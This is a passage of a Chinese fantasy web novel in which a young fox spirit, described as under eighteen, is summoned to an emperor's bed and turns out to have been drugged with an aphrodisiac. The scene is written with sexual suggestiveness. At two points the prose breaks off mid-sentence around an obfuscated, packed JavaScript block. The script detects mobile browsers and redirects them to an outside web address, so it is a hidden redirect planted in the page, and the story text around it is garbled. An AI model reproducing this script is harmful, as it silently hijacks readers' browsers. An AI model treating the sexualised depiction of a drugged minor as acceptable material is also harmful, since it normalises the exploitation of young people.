蔡汶定了定神:“去回皇宫,将库里那对挂着铜钱元宝的银镯取来。再挑几件像样的金玉,待会儿送到安小公子手上。” 小太监瞬间呆滞:“送给谁?” “太常少卿家的公子,安稚舒。” “干爹!”小太监险些叫出声来,“小安公子今日有救驾之功啊。” “我知道。” “而且这可是在佛寺!” “我也知道。” “今天就要送吗……” “是……” 蔡汶方才的话还没说完,便被陛下打断了。 银不如金,可这银镯却不一般,是昔日先帝亲自命银作局打造,打算送给一位宠冠后宫妃嫔的定情之物,镯内还隐錾了“承君欢、伴君侧”六字情语。 只是礼物未及送出,美人已香消玉殒,此镯便一直收于内库。 陛下不可能不知此物来历,毕竟这镯子本该送给…… 蔡汶想起陛下今日特意绕去后山瞧安稚舒的举动,又想起陛下问及赏赐时,那句“容朕再想想”背后,可能藏着更深的心思。 一个荒诞的念头,攫住了他。 唉……陛下…… 唉! “陛下的旨意,岂是你我能置喙的?”蔡汶迅速接受现实,声音压得极低,“让你去,便速去!” “还有……让其他宫人今夜做好准备,陛下今夜要召幸小安公子。” 4. 狐要侍寝 安稚舒随着安济回到歇脚的禅院,刚推开厢房门,险些以为自己走错了地方。 满地都是毛茸茸的白团子,地毯上、椅子上、床榻上,都蜷着大大小小的白狐狸。 安济反应快,一把将安稚舒拽进来,反手合上门。 靠近门边的一只狐狸支起前腿,尾巴不耐烦地扫过地面,幽幽开口质问安稚舒:“你今天为什么要救那个皇帝?” 安济低喝:“安茗!” 安稚舒这才从一堆几乎一模一样的白团子里分辨出安茗来。 犹豫再三后,他默默往安济身后缩了缩,只露出一双怯生生的眼睛。 他在来时的路上,就已经做好被责难的准备。 京城狐对人的敌视程度比外地狐还要严重,安稚舒今日又救了那么多的人……还救了皇帝。 “可是如果不救他,他就要死了。”安稚舒还是老实回答了,手指揪紧安济的衣袖,“我知道错了,下次再也不敢了。” 他说完便垂下了头。 安茗的耳朵动了动,鼻子里发出意味不明的哼声,别开头用爪子扒拉了几下地毯上的流苏,半晌才挤出一句:“……干得不错。” 安稚舒:“咦?” 安茗说完便闭上眼睛,两只耳朵压得低低的,假装什么也听不见。 厢房里紧绷的气氛微妙地松弛了一些。 今日场面大乱,参与筹备祭礼的官员这会儿下狱的下狱,审问的审问。隔壁院子住着礼部的官员,妻女被刺客重伤,自己也被皇帝身边的人拘走审问,没有一点消息传出。 唯有他们这里,因为安稚舒的救驾之举,暂时风平浪静。 无论安稚舒初衷如何,这小狐狸确确实实用差点搭上自己小命的行动,护住了一窝狐狸。 预想中的问责没有落下,安稚舒稍稍松了口气。他环顾四周,身边趴满了狐狸,几乎无从下脚。 他眨了眨眼,身形一晃—— 一团赤红如火的毛球“噗”地出现,然后毫不客气地一头扎进雪白的狐堆里,还在安茗脑袋上用力踩了一脚。 安茗猛地睁眼。 “对不起,我不是故意的。” 小红狐仓皇道歉,三两步窜到厢房角落,把自己缩成一团,无辜地望了过来。 安茗气得龇了龇牙。 “好了,说正事。”安济安抚住众狐,身体也随之变化。 一头体型远超同类的巨狐出现在原地,然而当众狐的视线习惯性落向他身后时,都不由得愣住了。 “阿爹。”安稚舒仰头看向他身后,“你的尾巴怎么只剩一条了。” 原本还有两根尾巴的,如今只剩下一条孤零零的长尾。 安济偏头看了看自己身后,语气刻意放得轻松:“方才被乱飞的箭矢蹭到,断了一条。无妨,养个二十年就能长回来的。” 安稚舒狐疑地盯着他,显然不太相信这个说辞。 “先不说这个。”安济轻轻咳嗽一声,将话题引回正轨,“我设法打探过了,陛下在祭礼开始时,突然下令撤了狐祭,那只白狐狸现在不知又被关到了哪里。” 屋内的狐狸们面面相觑。 他们原本的计划非常简单,一群白狐抱团冲出去对着看守太监“汪汪”乱叫,趁其慌乱之际,救下那只同族就跑。 可计划目标压根就没出现。 这事发生得太突然了,等探查的狐狸刚想回去告知安济此事,前面就出现了骚乱。 二叔缓缓踱步到光更亮处,狐脸严肃,连胡须都绷紧了:“眼下最要紧的是弄明白,皇帝是提前知晓了刺客才暂停祭祀,还是……察觉了我们的意图?” 若是前者,尚有转圜余地。 若是后者,意味着他们早已暴露在商缙言的视线之下,那便是灭顶之灾。 一片沉重的静默中,安稚舒细弱的声音再次响起:“有没有一种可能……是他不想杀狐狸呀。” 众狐都被他这过于天真的想法噎住了。 安茗嗤笑一声,尾巴拍了一下地面:“要真是这样,我直接去佛前磕百来个响头。” “那我们现在该怎么办呀?”另一只狐狸问。 问题抛出,满屋狐狸大眼瞪小眼。 狐妖大多容貌灵秀,长得虽聪明,凑在一起未必凑得齐一个机灵的脑袋。族中最有谋略的安济,也是靠着换了无数个身份,苦读五十多年才挣扎着爬上太常少卿的位置。 此刻,连他也眉头紧锁。 商缙言这突如其来的举动,完全打乱了他们的计划。 良久,安济深吸一口气:“趁陛下还在护国寺,这几日又逢大雪,我们加紧搜寻。一旦銮驾回宫,再想找就难如登天了。” 护国寺林木幽深,积雪覆盖,正是白狐天然的隐蔽所。 “也只能如此了。”二叔沉声道,目光扫过一众同族,“大家谨慎行事,切记以自身安危为重,一命换一命不划算,别把自己搭进去。” 安稚舒也跟着其他狐狸一起上下点了点小脑袋。 这种事他就不方便去了,他这一身红毛毛,简直像是在雪地里大喊“我在这儿,快来杀我。” 这时门板被人叩响,望风的狐狸声音透着紧张:“阿叔,蔡汶带了好些人过来,还抬着东西。” “稚舒,随我去看看。”安济示意散会,“许是陛下的赏赐下来了。” 安稚舒乖乖点头,起身化为人形。安茗和二叔交换了一个眼神,也默默化为人形,紧随其后。 前堂里炭火烧得正旺,蔡汶却像是站在冰窖里,身后的小太监们放下一口木箱,另一名太监则端着覆有红绸的的漆盘,垂首肃立。 “给安大人道喜了。”蔡汶开口,手心在袖中暗暗擦着汗:“陛下特赐下珍宝,眼下看着简薄,您且宽心,日后恩赏只怕更重。” 安济躬身行礼:“臣,同犬子,谢陛下隆恩。” 蔡汶的目光却滑向了安济身后的安稚舒。 少年正带着几分好奇看着那红绸覆盖的漆盘。 蔡汶忙避开视线,声音更低了些:“陛下……还特意嘱老奴回宫取了件精巧的玩意儿,赠与安小公子。” 他抬手,示意小太监上前,指尖微颤的揭开那方红绸。 银光霎时流淌而出。 那是一对极其精美的银镯,工艺繁复,下面坠着银币和憨态可掬的小元宝。 安济等人脸色骤变。 蔡汶慌得都要站不住了。 这哪里是寻常赏赐?陛下今日才被这少年所救,夜里便急不可待地召幸,这行径,太荒唐了! 他心虚地抬眼,却愕然发现,本像是空心娃娃的安稚舒,眼睛一点点亮了起来。 好……好漂亮的镯子,银光闪闪的。 还有他最喜欢的铜钱和元宝! 安稚舒从来没见过这么合心意的东西。他攒了许久才买了一对素银耳坠,还宝贝似的藏在箱底,结果再拿出来都有些发黄了。 眼前这个简直像是照着他梦里喜欢的样子打的。 他恋恋不舍地将目光从镯子上拨开,望向蔡汶:“这真的是送给我的吗?” 蔡汶被他看得心一软;“自然是陛下送给您的。” 不是?? 蔡汶惊疑不定地想,陛下居然还真送到了心坎上? 安稚舒腼腆地抿唇笑了笑,怯生生问道:“我可以现在摸一摸吗?” “陛下送给您,就是您的东西了。”蔡汶道。 安稚舒眼睛一亮,迫不及待地伸手。 安茗脸色铁青,一把将安稚舒拽回自己身后,警惕地看着蔡汶。 安济上前一步,声音发紧:“蔡公,此物太过贵重,犬子年幼无知,实在承受不起天恩,还请陛下收回成命。” 安稚舒不解地盯着那近在咫尺又遥不可及的镯子,不明白为什么不能收。 蔡汶早就料到他有此举,心中叹息更重:“安大人,这是陛下亲口说要赏给小安公子的。” 安茗转头看向安稚舒,语气梆硬:“你想要这个镯子吗?” 安稚舒很快地点头:“想要。” 结果又瞧见安济和二叔的脸都臭臭的,赶紧摇头:“算了,我还是不要了。” 蔡汶摇头轻叹:“公子相貌清雅,圣心甚悦。今夜特召前往陪陛下说话解闷,安大人且宽心,若……若得些造化,未尝不是缘分。” 安济浑身一颤,扑通一声直挺挺跪了下去,额头重重磕在冷硬的地面上:“公公!稚舒……他尚不满十八,入京不过数日,规矩礼数一概不知,怎敢去唐突圣驾?这孩子命苦,能有个安身之处已是万幸!求公公体恤,向陛下美言几句!” 他边说边叩首,又从袖中掏出沉甸甸的钱袋,不由分说往蔡汶手里塞。 蔡汶将钱袋推回,声音干涩:“安大人快收起来,并非是老奴不肯周旋,圣上今日因刺客的事情发了震怒,此刻召见,实在是盼着伶俐人过去宽解,这银子留给公子自个儿打点……” 他的声音带着不忍:“您千万记着,抗旨可是要……杀头的。” 安稚舒听得真切,吓了一跳,急忙道:“我能收的,我喜欢这个镯子,不要杀头。” 阿爹好不容易当上官,那么多狐狸好不容易在京城有个安稳窝,不能因为他不要一个镯子就全没了。 况且,他真的很喜欢这个镯子。 安济嘴唇哆嗦着,还想再求:“蔡公……” 蔡汶硬起心肠打断:“安大人,适可而止吧。” 他深吸一口气,快速说道:“您……好好与公子嘱咐几句。酉时初刻,会有妥当的轿子来接,我自会多嘱咐底下人,一路上仔细照应公子。” 话一出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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二叔面色沉重地看了看窗外天色:“如今已是申时,最多半个时辰,接人的轿子就到了。” “届时若不见稚舒……”他摇摇头,“京城上下,我们这些狐狸想要一夜之间全部悄无声息地撤走,根本不可能。动静必被察觉。” 安济仿佛被抽走了所有力气,声音沙哑:“况且今日出了刺客,护国寺内外都被层层把守,密不透风……就算想逃,也插翅难飞。” 安茗的眼睛红了:“那难道就真让他去……去侍寝?” 安稚舒看着面如死灰的安济,强作镇定的二叔,以及急怒攻心的安茗……大颗的泪珠滚落下来:“阿爹,对不起,是我惹祸了。” “胡说!”安济用袖子胡乱给他擦脸,自己的声音却也哽咽了,“是阿爹没用……” “不是的。”安稚舒摇了摇头,不知该如何跟他说:“阿爹,今天在后山……那个一直盯着我看的人,就是陛下,他衣服上绣的是龙,不是蚯蚓……” “什么盯着你看?”安茗并不清楚发生了何事,“龙听了你这话都想将自己打结上吊。” 然而为时已晚。 安稚舒此刻坦白只能证明——皇帝早就注意到他了,甚至可能早有意图。 否则谁能解释,皇帝为何临近祭礼开始,不在禅院内好好休息,特地跑到后山盯着他看? “或许……”一直沉默的二叔忽然开口:“去侍寝未必全是坏事。” “二叔!”安茗不敢置信地瞪着他,“您怎么可以这般说……” 二叔抬起眼,目光锐利地瞪着他:“那你说,眼下还有什么办法?” 安茗张了张嘴,也说不出话来。 怎么看都是一场死局。 二叔沉声道:“现在跑,是拉着全族一起死。就算……就算稚舒侥幸逃脱,我们这百年经营才得来的一点立足之地,也将化为乌有。未来又要回到东躲西藏的日子。那场祸患以来,我们过了多久那样的生活,死了多少同族,你们都忘了么?” “若能……”他顿了顿,看向脸色苍白的安稚舒,眼中闪过一丝不忍,却仍继续说道:“若能借此机会,在宫里有个自己人,哪怕只是万一,将来或许也是个倚仗。至少宫里有了眼睛,有了耳朵,这或许是祸中之福。” 安稚舒怔怔地听着。 他想起很多事,在外这么多年,他至少换过五个家。 上午刚喂给他饼子的狐狸,下午就被和尚打断腿带走当祭祀品,哀嚎着死去,每一个家最终都只剩下血腥气。 活着比什么都重要。 安稚舒脸上泪痕未干,却异常平静下来。 “我可以去。” 不等其他人反对,他继续慢慢说道:“阿爹,我不想再过那种日子了,我知道那有多苦。” 安济鼻尖一酸,死死握住了他的手,只能一遍遍无力地重复:“稚舒,阿爹对不起你……阿爹真的很对不起你……” 5. 狐努力勾引 谁知道皇帝是怎么想的,这哪是善待救命恩狐的做法? 安稚舒此刻也只能无比希望蔡汶是会错了意,全都是一场误会……但那是不可能的。 那枚沉甸甸的银镯就还躺在那里,皇帝怎么可能不懂其中的含义? 他也太命苦了。 “你先回房歇歇吧。”安济艰涩道,就连自己也觉得说出的话太过于残忍:“或许今夜,事情还有转机呢?” 安茗也干巴巴道:“对啊,万一皇帝不举呢,真的只是单纯找你聊天……” 事已至此,安稚舒点点头,没再说什么,安静地退了出去。 二叔跟了出来,直接叫住他。 老狐狸拍了拍安稚舒单薄的肩膀,叹了好几声气才道:“孩子,别想太多。二叔说过,这事未必不是个转机。” 安稚舒刚哭过的眼睛还湿漉漉的:“二叔,我不太懂。” “你有看过外头编排咱们狐狸的话本子吗?” 安稚舒心虚地揪紧了衣服:“看过几本,您别告诉阿爹,我是偷偷看的。” 那些话本里的狐妖总是魅惑众生,将人迷得神魂颠倒的,上面的图画还有点露骨……阿爹怕教坏族里的小狐狸,一般不让他们看这些。 “陛下会召你,至少说明你这幅皮相已经入了他的眼。”二叔咬咬牙,压低声音,“若是他真的被你迷得晕头转向,你也别客气,多捞点好处。地位、权势,什么能抓在手里就抓什么。有了这些傍身,你才能在宫里活得舒坦些,才没人敢轻易动你。” 安稚舒问得直白:“那我把他迷住了,他能多给我一点银子吗?” “……都会有的,”二叔的表情骤然变得阴狠,“若你不愿就此认命……这次本就是那狗皇帝无礼在先!你便顺势而为,使出手段牢牢勾引住他,让他沉溺美色,无心朝政!待到这天下生乱,我们便有机会趁乱脱身!” 小狐狸被二叔严重罕见的厉色吓了一跳,小声问:“我要怎么勾引啊。” 这下把二叔问住了。 狐族耳目灵通,寻常皇子皇孙的床帏喜好多少能探听一二。 唯独当今这位陛下,登基前后都像个清心寡欲的苦行僧,先帝的赐婚、安排的教习宫女,全被他疯疯癫癫地挡了回去。 如今看来,哪里是不近美色,是从前没碰见安稚舒…… 二叔拧眉思索片刻,只得道:“总之……你主动点总没错,见机行事吧。” 安稚舒一哽,上回是随机应变,这回是见机行事。 他压根不会见机行事。 二叔道:“你要对自己有信心,你可是狐狸啊!” 但安稚舒听话,他点了点头重复道:“对,我可是狐狸。” 回到厢房,关上门,世界陡然安静下来。 安稚舒在椅子上呆坐了半晌,目光落在那个漆盘上。他伸手,拿起那对镯子。 冰凉的银器贴上温热的皮肤,轻轻一扣,便妥帖地环在了细白的手腕上,尺寸分毫不差。 安稚舒轻轻晃了晃手,钱币与小元宝相碰,发出细碎清脆的声响。 他是真的喜欢这个镯子。 可这镯子不是白拿的,代价是让皇帝睡自己。 安稚舒盯着手腕看了许久,才默默起身,开始收拾自己那点可怜的家当。 这些年东躲西藏,居无定所,又刚来京城没多久,全部行李加起来,不过一个巴掌大的小包袱。 谁能想到,在安府的床榻还没睡暖和,就要去睡皇帝和皇帝的床了。 想了想,安稚舒铺开纸笔,研墨写下寥寥数语。 没有爹娘可嘱托,与京城狐也谈不上深交,思来想去,只能写几句干巴巴的“阿爹勿念”当做遗书,劝安济保重身体。待墨迹干透,他仔细折好,塞进了枕头底下。 做完这一切,安稚舒踢掉鞋子,扑倒在硬邦邦的床上,化作一只赤狐,四肢摊开,软软地铺成一张了无生气的狐饼。 不知过了多久,门被轻轻推开。安茗提着一个沉甸甸的食盒进来,默默将里面的饭菜一样样摆在桌上……还有一整只油光发亮的烧鸡。 床上的狐饼动了动耳朵,慢慢抬起头。 “吃吧。”安茗语气硬邦邦的,“我贿赂了和尚,换了点荤腥,你……慢慢吃。” 说完,他看了一眼小狐狸,欲言又止,终究还是转身带上了门。 小狐狸从床上跳下来,轻盈地跃上桌面,凑近那只烧鸡轻轻嗅闻。 很香。 他突然想起来,自己那封仓促的遗书里,忘了给安茗留几句话。 算了,也没什么好说的。 只是安茗今天塞给他的那些碎银子,他要笑纳了。 安稚舒变回人形,拿起筷子开始吃饭。每样菜都夹了一些,最后将那只烧鸡也一点不剩地吃了下去,像是在吃断头饭。 酉时一刻,分毫不差。 蔡汶派来的轿子悄无声息地停在了禅院外。安稚舒上了轿,轿子被几名太监稳稳抬起,行进在护国寺夜间的道路上。 天色已晚,外头只有太监踩在积雪上咯吱咯吱的轻响。 轿子最终进了一处格外幽静的院落。院中格局开阔,移步换景,与寻常禅院的朴拙大不相同。 轿帘被掀开,一只手伸了进来要扶他,安稚舒抬眼一看,竟是一位面容和善的女官,他吓了一跳,自己跳了下来。 那名女官见状,掩唇笑道:“小公子莫慌,奴婢是尚寝局的芳姑姑,蔡公特意嘱咐了,由奴婢教导您侍寝的规矩。” 芳姑姑本不在此次护国寺随行之列,但皇帝破天荒头一早召幸,蔡汶生怕底下人不懂事出了岔子,硬是快马加鞭将她从宫里接了过来。 她借着廊下灯火,细细打量安稚舒。 少年身姿单薄,裹在厚厚的披风里,只露出一张被紧张染上薄红的脸,眉心那点朱砂痣格外醒目。 芳姑姑笑着奉承:“小公子真是生得标致,一看就是有佛缘之人。” 每个人见到他都这般说。 安稚舒抿了抿唇,没应声。 这颗痣就没给他带来什么福气,若是陛下因为这颗痣看中了他,那他还不如直接把痣剜了。 芳姑姑引他进入一间暖阁。屋内暖意融融,驱散了外面的寒气,当中赫然摆着一个硕大的浴桶,热气蒸腾,水面漂浮着几片花瓣。 安稚舒立刻警惕地抓紧自己的衣领,闷声道:“我、我自己洗就好了。” 芳姑姑看出他的羞窘,笑了笑,带着人退了出去:“奴婢就在外头候着,公子若有需要,唤一声便是。” 确认无人窥视,安稚舒才快速脱了衣服,滑进温热的水中。 水温恰到好处,让他紧绷的神经稍稍松弛。若不是时机不对,真想把大尾巴也放出来,好好打理一番。 狐狸尾巴毛很难干,每次彻底清洁都要耗费大半天,实在是件麻烦事。 泡在热水里,安稚舒强迫自己再次梳理那点计划。 没吃过猪肉也见过猪跑,他知道男子初次承欢是很痛的。 安稚舒并不怕痛,狐狸在外捕猎多多少少会受点伤,难住他的,该是怎么主动勾引。 直接爬上龙床,坐到皇帝身上,然后脱衣服,自己动。 安稚舒默默念了几遍,被自己脑子里冒出的画面躁得脸颊发红。 按照这个流程,应该是不会出错。 泡得差不多了,他伸手去取旁边准备好的干净衣衫,抖开一看——安稚舒整只狐都僵住了。 怎么会这么薄! 轻飘飘的一层,几乎透明。 他捏着那件衣服,指尖都在发颤。 好在旁边还备着一件厚实的披风,安稚舒如获至宝,赶紧将那件薄纱勉强套上,再用披风将自己从头到脚裹了起来。 脸颊滚烫,不知是被热气蒸得,还是羞的。 现在安稚舒竟开始觉得自己脚下发软,头也有些晕乎乎的。 他唤了一声,芳姑姑带着两个宫女进来,恭敬道:“小公子,奴婢为您梳妆。” 芳姑姑端详着他被热气熏得粉润晶莹的脸颊,实在无处下手增添脂粉,最后只拿起梳子,为他梳理那头黑发。 安稚舒很少被人这样细致地伺候,以往娘亲在世时也少有这般给他梳洗打扮的时候,浑身不自在,脊背挺得笔直。 芳姑姑一遍轻柔地梳着头发,一边低声教着宫里死板的规矩:“小公子不必过于紧张。这侍寝之事当以柔承恩。锦帷之事切记一个‘让’字。” “陛下动,您便随,陛下引,您便依,万不可争先机,只作春风软柳,由着陛下主导起伏。奴婢的话,小公子细品。” 安稚舒听得耳根通红,脑袋随着梳子的动作微微晃动。 根本细品不了一点! 二叔说要主动勾引,芳姑姑却说只能被动承恩,到底该听谁的? 安稚舒拧起漂亮的眉,陷入深深的纠结。 芳姑姑又提点道:“小公子进去之后,若有余力,可试着为陛下按按头部。陛下患有头疾,若是缓解了疼痛,兴许脾气会好上许多。” 安稚舒忍不住一抖。 意思是,这位暴君平日里脾气真的很差,需要按头才能好转吗? 思来想去,安稚舒还是决定听二叔的,要主动勾引。 毕竟二叔是自家狐。 待一切收拾妥当,芳姑姑又低声嘱咐了几句细节,门外传来轻微的脚步声,蔡汶过来了,将芳姑姑唤到外间说话。 安稚舒竖起耳朵偷听。 “……陛下,还没醒呢。” 芳姑姑似乎很讶异:“怎的还没睡醒?” 蔡汶也不清楚情况:“今日祭礼本就繁重,加之遭遇刺客,陛下处理完要紧事务,将余下杂事交给裴大人后,午后便歇下了,一直睡到晚间才醒。用了晚膳,不知怎的,又说困乏,又睡下了……这会儿,还睡着呢。” 一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082393|195345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不像是要让安稚舒侍寝的模样。 芳姑姑沉默了片刻,担忧道:“陛下自上回伤了头部后,睡眠便比往日长了许多,午后睡到黄昏也是常有的事。蔡公,您说……要不要让太医再去瞧瞧?” 蔡汶叹息声隐约传来:“太医日日都来请平安脉,都说……脉象并无大碍。” “那怎么……”芳姑姑的话戛然而止,到底没说出后面那句大逆不道的话。 陛下怎么比猪还能睡。 蔡汶声音疲惫:“兴许……陛下真的只是累着了。” …… 商缙言真的是累着了。 这个破祭礼三日前便要开始准备,每日只能睡一个时辰。 尤其是昨日禁食静心了一日,丑时又开始沐浴焚香,到后来遇刺、犯头疾,他还强撑着处理完剩下的事务,最后才躺下睡觉,已经很给皇位面子了。 大学,正是最爱睡觉的时候。 只不过因为脑袋还在闷闷的痛,睡第二场的时候,商缙言也没睡得有多熟。 半梦半醒间,商缙言听见“吱呀”一声。 有人脚步虚浮,带着一缕微潮的气息,窸窸窣窣,竟摸到了他的床边。 那人在黑暗中站定,一字一句小声地背诵:“直接爬上床,坐在陛下身上,然后脱衣服,自己动……” 吐字带着不正常的热气。 安稚舒背完那几句记了一路的计划,脑袋里像是塞满了湿棉花,又沉又晕,看什么都在晃。 他晃晃头,勉强抬眼看向眼前的床榻。 好大的一张床。 帐幔沉沉垂下,安稚舒紧张地将视线转向榻上沉睡的人。 商缙言平躺着,薄唇抿成一条线,即使在睡梦中也笼着一层戾气。 安稚舒忽然想起白日,这暴君在众目睽睽之下用大得惊人的力道猛地将他拽进怀里,将他从头到脚裹住。 如今,这人只着寝衣,袖子堆叠到肘间,露出一截肌肉虬结的小臂。 安稚舒鬼使神差地偷偷比量了一下——这胳膊居然比他大腿还要粗!轻而易举就能把他拎起来。 人,居然能生得这么高大。 脑袋更晕了。 一股陌生的热流抽走了他最后一点力气,安稚舒鼓起勇气,手脚并用地爬上床。 被褥软得不可思议,仿佛陷入了云里。 他依着计划,颤颤巍巍地、跨坐到了商缙言的身上 身下传来的体温高得吓人,烫得安稚舒浑身一哆嗦。 他觉得自己就像一块落在烙铁上的酥糖,从接触开始,便酥软,融化,瘫软成一滩甜腻的狐狸糖浆。 下一步是……脱衣服。 安稚舒呼吸急促,额角渗出细汗,他伸出手指,摸索向商缙言的腰带—— 一只炽热的大手猛地擒住了他的手腕。 “!” 安稚舒惊喘一声,猝然抬头。 商缙言不知何时睁开了眼,脸上满是惊愕。 “你、在、做、什、么?” 安稚舒被那目光钉住,脑子里糊成一片,只能努力组织着语言:“勾引你。” 商缙言:“啊?” 两人对视片刻,商缙言脑袋闷闷地疼,实在觉得这个姿势过于危险。他猛地起身,天旋地转间,安稚舒被他压在了身下。 趁这一瞬的松懈,安稚舒又挣动起来,另一只手不管不顾地继续去扯商缙言的腰带。本就系得松垮的带子应手而开,滑落一旁,寝衣也随之散开,瞬间露出其下随着呼吸微起伏的紧实腹肌,热气扑面而来。 商缙言迅速抬手,死死按住了安稚舒在他腰间作乱的手,两人双手交叠,烫得像一块火炭。 商缙言深吸一口气,声音很重地审问:“谁派你来的?” 不对,这不对。 他根本什么都没做,怎么今夜安稚舒还是出现在了他的床上?! 到底是谁在害朕! 安稚舒被他按得动弹不得,几乎要哭出来。 他不太懂,明明是商缙言命人来传的旨意,为何此刻又是什么都不认? 他仰起泛着不正常红晕的脸,呐呐地说:“是……是蔡公来同我说的……” 商缙言一怔。 蔡汶?怎么可能! 见他迟迟不动,安稚舒难受地并拢双膝,这微小的动作清晰地传递给了商缙言。 商缙言浑身肌肉倏然绷紧,差点整个人都弹起来,转而抽手狠狠摁住少年乱动的腿。 “听着。” 商缙言狼狈又急促地划清界限,“我和你大概是被人算计了。不管你是怎么摸进来的,我都不会碰你。” “我现在立刻安排人将你送回去。我不喜欢男的,也对男的硬/不/起/来……” 他的厉喝声戛然而止。 安稚舒也彻底僵住。 过了半晌,安稚舒是真的哭了出来:“陛下,好、好像有个东西在硌着我……” 6. 狐被下药了! 商缙言现在真想原地消失了。 高大的身躯几乎将安稚舒完全笼罩在怀里,少年清瘦的骨架在他身下显得愈发纤弱。 更可怕的是,某些不容忽视的变化正在清晰地发生着。 屋内只余他压抑的粗.喘。 商缙言硬着头皮,手臂撑在安稚舒身侧,试图微微起身拉开一点距离。 可他才动,那具滚烫的身体又迷迷糊糊地贴了上来,手臂甚至软绵绵地环上他的脖颈。 “别乱动!”商缙言从牙缝里挤出三个字,额角青筋微跳。 他不得不再次按住了安稚舒。 安稚舒被他呵斥一声,当真不动了,只是仰着脸,直直地望着他。眼底蒙着一层氤氲的水汽,眼尾还泛着不正常的红。 他的长相本是偏清冷的,可做出的行为总是天真得让人发笑,格外矛盾。偏生这双眼睛又生得极妙,湿润润,怯生生的,就像是一只不知所措的幼狐,纯得要命,却又勾人得紧。 商缙言被他看得心头瘙痒,浑身不自在,简直想扯过什么遮住这双眼睛。 安稚舒却见他迟迟没有下一步动作,反而还凶巴巴的。 混沌的脑子费力运转。 难道二叔说的“要主动”不对吗? 他抵抗着越来越模糊的思绪,带着点讨好地试探:“陛下是不是……头疼?我可以帮陛下揉揉。” 商缙言:“……” 他现在岂止是头疼!小头也要爆炸了。 他再次按住试图抬手的安稚舒,掌心触及的皮肤烫得惊人。少年脸颊潮红,连脖颈都染上了粉色,吐息滚烫,眼神涣散。 就像是—— 商缙言抬手摸了摸安稚舒的额头,又碰了碰他的脸颊:“你生病发烧了?” 被他这么一说,安稚舒也恍惚觉得自己确实很不舒服,体内又空又痒,骨头缝里都透着难耐。 他含糊地“嗯”了一声,不自觉地用脸颊蹭了蹭商缙言的掌心。 这无意识的亲昵举动让商缙言呼吸一窒。他不敢再耽搁,迅速用旁边的被子将安稚舒裹成蚕蛹,只露出一张烧得通红的脸。 “蔡汶!” 侯在门外的蔡汶几乎是应声而入,下意识飞快往床榻瞄了一眼。 陛下衣衫略显凌乱,脸色不明,而安稚舒躺在那里,似乎不太对劲。 “快去请太医!”商缙言急迫道。 蔡汶心头一凛,转身疾步而去。 太医本就候在附近偏房,毕竟御前侍寝,什么情况都有可能发生,备着总没错。 可他没想到这么快就被传唤,心下纳罕。 陛下这也太速战速决了…… 一进屋,就见商缙言背着手站在床榻边,衣襟虽已草草系好,仍能看出方才的凌乱。 商缙言指向床上:“给他瞧瞧,似乎是着了风寒。” 太医连忙应声上前,床上那位小安公子,只露出一张秾丽泛红的脸,眉心那点朱砂痣艳得惊心。 他一时之间对这“蚕蛹”无从下手。 商缙言“啧”了一声,略显烦躁地俯身,一手连人带被将安稚舒揽坐起来,靠在自己胸前,另一手从被卷里抽出他细白的手腕。 入手的分量让他又是眉头一皱。 太轻了,揽在怀里几乎没什么实感。 太医屏息凝神,指尖搭上那截腕脉。 片刻后,他脸色微变,压下心中翻涌的惊涛骇浪,跪伏在地:“回陛下,小公子并非风寒发热。乃是……服用了极烈的助兴之药。所幸,剂量似乎不大。” 一旁站着的蔡汶瞬间猜到发生了何事,“扑通”一声重重跪下:“陛下明鉴!奴婢万万不敢做出如此肮脏下作之事!小公子来时一切如常,沐浴更衣后便直接来了陛下屋里,奴婢绝未给小公子用过任何可疑之物啊!” 安稚舒脑袋懵懵地听着,终于抓住了重点。 吓死了,他还以为自己返祖到了发.情期了,原来是被下药了…… 商缙言低头看了他一眼,安稚舒眼神迷蒙依赖的模样让他心头又瘙痒起来了。他深吸一口气,暂时没理会蔡汶,只换了裴竣进来。 一道身影悄无声息地出现在屋内:“陛下。” “去查,安稚舒来时,这间禅房以及他途径之处,所用的炭火、香薰、茶水,所有可能接触之物。”商缙言声音冷肃,顿了顿,问怀里的人,“你今晚吃了什么东西?” 安稚舒嘴唇嗫喏,说不出话。 他今晚偷吃了肉。 祭礼期间严禁食肉,这是大忌。 他正绞尽脑汁想着如何搪塞,裴竣已然开口:“回禀陛下,小公子来之前用了晚膳,米饭吃了半碗,炖豆腐吃了几口,青菜一口未动,还吃下一整只鸡肉,连骨头都嚼碎了。” 轰咔咔咔—— 安稚舒只觉得一道天雷直劈天灵盖。 他瞪大眼睛,难以置信地看着那个连脸都看不清的暗卫。他知道皇帝身边暗卫什么都干,还监察百官,可没想到连自己嚼碎了鸡骨头都知道得一清二楚。 那……那他们一家变成狐狸偷偷开大会,是不是也…… 万幸,裴竣只汇报了晚膳内容,并未多言其他。 安稚舒惊疑不定地偷瞄裴竣,一边庆幸对方似乎没发现他的秘密,一边又忍不住为自己辩解:“我吃了青菜的,吃了一整根呢。” 商缙言被他这抓不住重点的辩解气笑了:“你还挺挑食。”随即对裴竣挥手,“去查仔细点。” “是。”黑影如来时一般,悄无声息地消散。 太医此时已准备好银针:“陛下,小公子药性不深,待臣施针助其发汗,导出药力便可缓解。另……臣观小公子脉象,似有肝气郁结之兆,是否一并开方调理?” 商缙言看了一眼怀里装死的安稚舒,摆了摆手:“你斟酌着办。” 禅院立刻忙碌起来。太医施针,宫人准备热水、汗巾,小厨房煎药的气息隐隐传来。 商缙言将安稚舒交给太医和宫人,自己则转身,大步走向偏房换衣服。 偏房里备了盆水,商缙言褪去衣衫,给自己擦身,却根本无法平息燥火。 方才的画面不受控制地反复涌现。 安稚舒跨坐上来时轻盈的身躯,微颤着解他衣带的手指…… 喘得很好听。 腰也细。 身上还有淡淡的香味。 